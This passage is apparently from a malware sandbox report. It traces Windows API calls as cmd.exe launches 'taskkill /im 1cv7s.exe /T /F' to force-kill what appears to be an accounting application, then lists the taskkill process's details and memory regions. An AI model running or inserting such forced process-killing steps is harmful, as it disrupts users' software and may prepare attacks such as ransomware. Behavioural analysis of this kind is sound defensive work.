_wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0039.714] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x31f2d4 | out: lpFindFileData=0x31f2d4) returned 0x731dc0 [0039.714] FindClose (in: hFindFile=0x731dc0 | out: hFindFile=0x731dc0) returned 1 [0039.714] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0039.714] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0039.714] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0039.714] GetEnvironmentStringsW () returned 0x732b28* [0039.715] FreeEnvironmentStringsW (penv=0x732b28) returned 1 [0039.715] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a2e5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.715] GetConsoleOutputCP () returned 0x1b5 [0039.715] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a2e4260 | out: lpCPInfo=0x4a2e4260) returned 1 [0039.715] GetUserDefaultLCID () returned 0x409 [0039.716] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a2e4950, cchData=8 | out: lpLCData=":") returned 2 [0039.716] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x31f698, cchData=128 | out: lpLCData="0") returned 2 [0039.716] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x31f698, cchData=128 | out: lpLCData="0") returned 2 [0039.716] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x31f698, cchData=128 | out: lpLCData="1") returned 2 [0039.716] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a2e4940, cchData=8 | out: lpLCData="/") returned 2 [0039.716] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a2e4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0039.716] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a2e4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0039.716] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a2e4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0039.716] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a2e4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0039.716] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a2e4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0039.716] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a2e4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0039.716] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a2e4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0039.716] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a2e4930, cchData=8 | out: lpLCData=".") returned 2 [0039.716] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a2e4920, cchData=8 | out: lpLCData=",") returned 2 [0039.716] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0039.717] GetConsoleTitleW (in: lpConsoleTitle=0x735908, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.717] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0039.718] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0039.718] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0039.718] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0039.718] _wcsicmp (_String1="taskkill", _String2=")") returned 75 [0039.719] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14 [0039.719] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14 [0039.719] _wcsicmp (_String1="IF", _String2="taskkill") returned -11 [0039.719] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11 [0039.719] _wcsicmp (_String1="REM", _String2="taskkill") returned -2 [0039.719] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2 [0039.720] GetConsoleTitleW (in: lpConsoleTitle=0x31f390, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.720] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16 [0039.720] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15 [0039.720] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16 [0039.720] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24 [0039.720] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17 [0039.720] _wcsicmp (_String1="taskkill", _String2="CD") returned 17 [0039.720] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17 [0039.720] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2 [0039.720] _wcsicmp (_String1="taskkill", _String2="REN") returned 2 [0039.720] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15 [0039.721] _wcsicmp (_String1="taskkill", _String2="SET") returned 1 [0039.721] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4 [0039.721] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16 [0039.721] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8 [0039.721] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4 [0039.721] _wcsicmp (_String1="taskkill", _String2="MD") returned 7 [0039.721] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7 [0039.721] _wcsicmp (_String1="taskkill", _String2="RD") returned 2 [0039.721] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2 [0039.721] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4 [0039.721] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13 [0039.721] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1 [0039.721] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17 [0039.721] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17 [0039.721] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2 [0039.721] _wcsicmp (_String1="taskkill", _String2="VER") returned -2 [0039.721] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2 [0039.721] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15 [0039.721] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1 [0039.721] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15 [0039.721] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8 [0039.721] _wcsicmp (_String1="taskkill", _String2="START") returned 1 [0039.721] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16 [0039.721] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9 [0039.721] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7 [0039.721] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4 [0039.721] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4 [0039.721] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19 [0039.721] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14 [0039.721] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18 [0039.721] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17 [0039.721] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7 [0039.721] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16 [0039.721] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15 [0039.721] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16 [0039.721] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24 [0039.721] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17 [0039.721] _wcsicmp (_String1="taskkill", _String2="CD") returned 17 [0039.722] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17 [0039.722] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2 [0039.722] _wcsicmp (_String1="taskkill", _String2="REN") returned 2 [0039.722] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15 [0039.722] _wcsicmp (_String1="taskkill", _String2="SET") returned 1 [0039.722] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4 [0039.722] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16 [0039.722] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8 [0039.722] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4 [0039.722] _wcsicmp (_String1="taskkill", _String2="MD") returned 7 [0039.722] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7 [0039.722] _wcsicmp (_String1="taskkill", _String2="RD") returned 2 [0039.722] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2 [0039.722] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4 [0039.722] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13 [0039.722] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1 [0039.722] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17 [0039.722] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17 [0039.722] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2 [0039.722] _wcsicmp (_String1="taskkill", _String2="VER") returned -2 [0039.722] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2 [0039.722] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15 [0039.722] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1 [0039.722] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15 [0039.722] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8 [0039.722] _wcsicmp (_String1="taskkill", _String2="START") returned 1 [0039.722] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16 [0039.722] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9 [0039.722] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7 [0039.722] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4 [0039.722] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4 [0039.722] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19 [0039.722] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14 [0039.722] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18 [0039.722] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17 [0039.722] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7 [0039.722] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14 [0039.722] _wcsicmp (_String1="taskkill", _String2="IF") returned 11 [0039.722] _wcsicmp (_String1="taskkill", _String2="REM") returned 2 [0039.723] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17 [0039.723] SetErrorMode (uMode=0x0) returned 0x0 [0039.723] SetErrorMode (uMode=0x1) returned 0x0 [0039.723] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x735dd0, lpFilePart=0x31eeb0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x31eeb0*="Desktop") returned 0x25 [0039.723] SetErrorMode (uMode=0x0) returned 0x1 [0039.723] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a2f0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0039.723] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0039.729] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a2f0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0039.729] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0039.729] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x31ec2c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ec2c) returned 0xffffffff [0039.730] GetLastError () returned 0x2 [0039.730] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x31ec2c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ec2c) returned 0xffffffff [0039.730] GetLastError () returned 0x2 [0039.730] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0039.730] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x31ec2c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ec2c) returned 0x736110 [0039.730] FindClose (in: hFindFile=0x736110 | out: hFindFile=0x736110) returned 1 [0039.730] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x31ec2c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ec2c) returned 0xffffffff [0039.730] GetLastError () returned 0x2 [0039.730] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x31ec2c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ec2c) returned 0x736110 [0039.730] FindClose (in: hFindFile=0x736110 | out: hFindFile=0x736110) returned 1 [0039.730] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0039.730] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0039.731] GetConsoleTitleW (in: lpConsoleTitle=0x31f124, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.731] InitializeProcThreadAttributeList (in: lpAttributeList=0x31efac, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x31f074 | out: lpAttributeList=0x31efac, lpSize=0x31f074) returned 1 [0039.731] UpdateProcThreadAttribute (in: lpAttributeList=0x31efac, dwFlags=0x0, Attribute=0x60001, lpValue=0x31f06c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x31efac, lpPreviousValue=0x0) returned 1 [0039.731] GetStartupInfoW (in: lpStartupInfo=0x31ef68 | out: lpStartupInfo=0x31ef68*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x7219ca, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0039.731] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0039.731] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0039.731] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0039.731] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0039.731] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0039.731] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0039.731] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0039.731] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0039.731] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0039.731] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0039.731] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0039.731] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0039.732] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0039.732] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1 [0039.733] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill /im 1cv7s.exe /T /F", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x31f008*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill /im 1cv7s.exe /T /F", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x31f054 | out: lpCommandLine="taskkill /im 1cv7s.exe /T /F", lpProcessInformation=0x31f054*(hProcess=0x7c, hThread=0x78, dwProcessId=0xb58, dwThreadId=0xb5c)) returned 1 [0039.750] CloseHandle (hObject=0x78) returned 1 [0039.750] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0039.750] GetEnvironmentStringsW () returned 0x734dc8* [0039.750] FreeEnvironmentStringsW (penv=0x734dc8) returned 1 [0039.750] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0045.225] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x31ef48 | out: lpExitCode=0x31ef48*=0x80) returned 1 [0045.226] CloseHandle (hObject=0x7c) returned 1 [0045.226] _vsnwprintf (in: _Buffer=0x31f090, _BufferCount=0x13, _Format="%08X", _ArgList=0x31ef54 | out: _Buffer="00000080") returned 8 [0045.226] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0045.226] GetEnvironmentStringsW () returned 0x732b28* [0045.226] FreeEnvironmentStringsW (penv=0x732b28) returned 1 [0045.226] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0045.226] GetEnvironmentStringsW () returned 0x732b28* [0045.226] FreeEnvironmentStringsW (penv=0x732b28) returned 1 [0045.226] DeleteProcThreadAttributeList (in: lpAttributeList=0x31efac | out: lpAttributeList=0x31efac) [0045.226] _get_osfhandle (_FileHandle=1) returned 0x7 [0045.226] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0045.226] _get_osfhandle (_FileHandle=1) returned 0x7 [0045.226] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a2e41ac | out: lpMode=0x4a2e41ac) returned 1 [0045.227] _get_osfhandle (_FileHandle=0) returned 0x3 [0045.227] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a2e41b0 | out: lpMode=0x4a2e41b0) returned 1 [0045.227] SetConsoleInputExeNameW () returned 0x1 [0045.227] GetConsoleOutputCP () returned 0x1b5 [0045.227] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a2e4260 | out: lpCPInfo=0x4a2e4260) returned 1 [0045.227] SetThreadUILanguage (LangId=0x0) returned 0x409 [0045.227] exit (_Code=128) Process: id = "27" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x4d96c000" os_pid = "0xb58" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "26" os_parent_pid = "0xb40" cmd_line = "taskkill /im 1cv7s.exe /T /F" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1453 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1454 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1455 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1456 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1457 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1458 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1459 start_va = 0x240000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 1460 start_va = 0xb40000 end_va = 0xb55fff entry_point = 0xb40000 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 1461 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1462 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1463 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1464 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1465 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1466 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1467 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1468 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1469 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1470 start_va = 0xd0000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1471 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1472 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1473 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1474 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1475 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1476 start_va = 0x150000 end_va = 0x1b6fff entry_point = 0x150000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1477 start_va = 0x1f0000 end_va = 0x1fffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1478 start_va = 0x280000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1479 start_va = 0x750b0000 end_va = 0x7519afff entry_point = 0x750b0000 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 1480 start_va = 0x751a0000 end_va = 0x751aefff entry_point = 0x751a0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 1481 start_va = 0x751b0000 end_va = 0x751c8fff entry_point = 0x751b0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 1482 start_va = 0x751d0000 end_va = 0x751d8fff entry_point = 0x751d0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 1483 start_va = 0x751e0000 end_va = 0x751f0fff entry_point = 0x751e0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 1484 start_va = 0x75200000 end_va = 0x7520cfff entry_point = 0x75200000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 1485 start_va = 0x75210000 end_va = 0x75244fff entry_point = 0x75210000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 1486 start_va = 0x75250000 end_va = 0x75257fff entry_point = 0x75250000 region_type = 